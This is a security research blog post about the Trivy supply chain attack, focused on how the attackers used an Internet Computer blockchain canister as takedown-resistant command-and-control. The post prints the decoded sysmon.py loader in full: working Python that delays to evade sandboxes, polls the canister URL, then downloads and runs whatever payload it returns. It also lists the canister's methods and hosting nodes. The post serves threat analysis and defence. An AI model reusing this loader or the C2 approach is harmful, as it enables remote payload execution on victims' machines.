What the hell is an internet computer? And why is it in my pipeline.
Amongst the IOCs and remediation advice from the Trivy supply chain attack is something cool. A blockchain canister being used as C2 infrastructure. Here's what it is, how it works, and why it matters.
Trivy, trivy-action, Github Actions, Pipelines, CI/CD, Compromised, Supply-chain, NPM Tokens, secrets.
You've heard it all before, but if you haven't go ahead and look up "Trivy supply chain attack", pick an article from your favourite cyber-security vendor then come back here.
Amongst the IOCs, technical analysis and remediation advice, was something I hadn't seen before.
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.ioSo what is an InternetComputer?
InternetComputer is like a normal computer on the internet, except it's decentralised and operates with a blockchain structure.
At its core, the Internet Computer is built from nodes. Think of these as dedicated hardware run by independent data centres scattered across the globe.
These nodes are grouped into subnets, each of which forms its own self-contained blockchain.
Every application deployed to ICP runs as a canister, essentially a smart contract bundling both executable code and persistent storage into a single unit, replicated across every node in its subnet simultaneously.
If that sounds complicated, think of a canister as a set of AWS Lambdas, with a swagger-like UI to make the API calls for you.

The practical upshot of this architecture is that there is no single server to seize, no hosting provider to serve a takedown notice to, and no single jurisdiction that can pull the plug.
This is incredibly useful for, amongst other things, hosting a C2 or data-exfiltration endpoint without burning your own infrastructure.
The Attack Infrastructure
This infrastructure was actually not deployed for the primary attack, which was to steal pipeline secrets and tokens, but rather when developers installed the malicious package onto their own environments.
This malware came in the form of sysmon.py. A loader that contained a base64 encoded string which comes out to this.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)The script is simple.
- Sleep 5 minutes on startup to kill those pesky sandboxes and automated analysers.
- Polls the aforementioned ICP canister every 50 minutes for URL
- Downloads and executes any payload returned
- Doesn't do anything if the returned link is Youtube
Let's take a better look at this canister.
Canister ID: tdtqy-oyaaa-aaaae-af2dq-cai
Subnet ID: shefu-t3kr5-t5q3w-mqmdq-jabyv-vyvtf-cyyey-3kmo4-toyln-emubw-4qe
Module Hash: 90cf1e71ea0b750e8830a269e79c9cf9277a8babd3aeaf712129238c7ad98364One detail worth noting, the canister was written in Motoko, DFINITY's own purpose-built language for ICP. Indicating that someone at TeamPCP gave ICP usage some serious thought.

We are shown 3 methods, get_latest_link, http_request and update_link.
get_latest_link
This is what the malware was polling, while the attack was still active it returned. From what we know, it either returned a youtube link to Rick Astley's Never Gonna Give You Up, or to a malicious script kamikaze.sh.
Currently, it returns a rather thoughtful message from TeamPCP.
[
0:"ACCESS_DENIED, I'm growing too old for this shit, if you've found this you've won my respect for not being a vibe researcher, lots of love from teampcp"
]http_request
This is the ICP HTTP gateway interface. It's what makes the canister reachable over standard HTTPS without any blockchain tooling. When a plain HTTP GET hits the canister URL, ICP routes it through this method.
At the time of writing, calling it directly returns:
(
record {
body = blob "https://www.youtube.com/watch?v=tyXBsQnh518";
headers = vec { record { "content-type"; "text/plain" }; record { "Access-Control-Allow-Origin"; "*" } };
upgrade = null;
streaming_strategy = null;
status_code = 200 : nat16;
},
)update_link
This endpoint require 2 text fields, and was presumably used to update the link that the infected systems would get when polling get_latest_link.

Exploring the infrastructure

From analysing the subnet attached to the canister, we know that the malicious code was replicated across 13 nodes spanning 10 countries, 13 different data centre operators, and 13 independent node providers. The nodes sit in Frankfurt, Ljubljana, Hong Kong, Seoul, Bucharest, Zurich, Panvel, Douglas (Isle of Man), Brussels, Orlando, Vancouver, Singapore, and Stockholm. One node is currently showing as unhealthy.

No single jurisdiction covers more than one node. No single data centre operator runs more than one. The node providers range from large telecoms like Unicom and Manx Telecom to small independents like Iancu Aurel and Giant Leaf LLC. DFINITY Stiftung itself operates the Stockholm node.
As of writing, these containers running the malicious code on all of these nodes have been disabled, at least at the gateway layer.

It was not possible to find any mention of blocking these canisters at the protocol governance layer, so this was likely manually done by the DFINITY security team to disable the attack, however it cannot be confirmed if the code has been removed from the nodes.
Thank you for reading. If you enjoyed why not check out some of my other research.
Want to learn more? please check out these fantastic resources on the Trivy attack, without which this post wouldn't have been possible.
ossprey.com/blog/trivy-supply-chain-attack/
wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know
labs.boostsecurity.io/articles/20-days-later-trivy-compromise-act-ii/
crowdstrike.com/en-us/blog/from-scanner-to-stealer-inside-the-trivy-action-supply-chain-compromise
socket.dev/blog/trivy-under-attack-again-github-actions-compromise stepsecurity.io/blog/trivy-compromised-a-second-time
upwind.io/feed/trivy-supply-chain-incident-github-actions-compromise-breakdown
ramimac.me/trivy-teampcp
thehackernews.com/2026/03/trivy-hack-spreads-infostealer-via.html
thehackernews.com/2026/03/trivy-supply-chain-attack-triggers-self.html
bleepingcomputer.com/news/security/trivy-vulnerability-scanner-breach-pushed-infostealer-via-github-actions
csoonline.com/article/4148317/trivy-vulnerability-scanner-backdoored
github.com/aquasecurity/trivy/discussions/10425
github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23 github.com/step-security/trivy-compromise-scanner
dashboard.internetcomputer.org/canister/tdtqy-oyaaa-aaaae-af2dq-cai
internetcomputer.org/docs
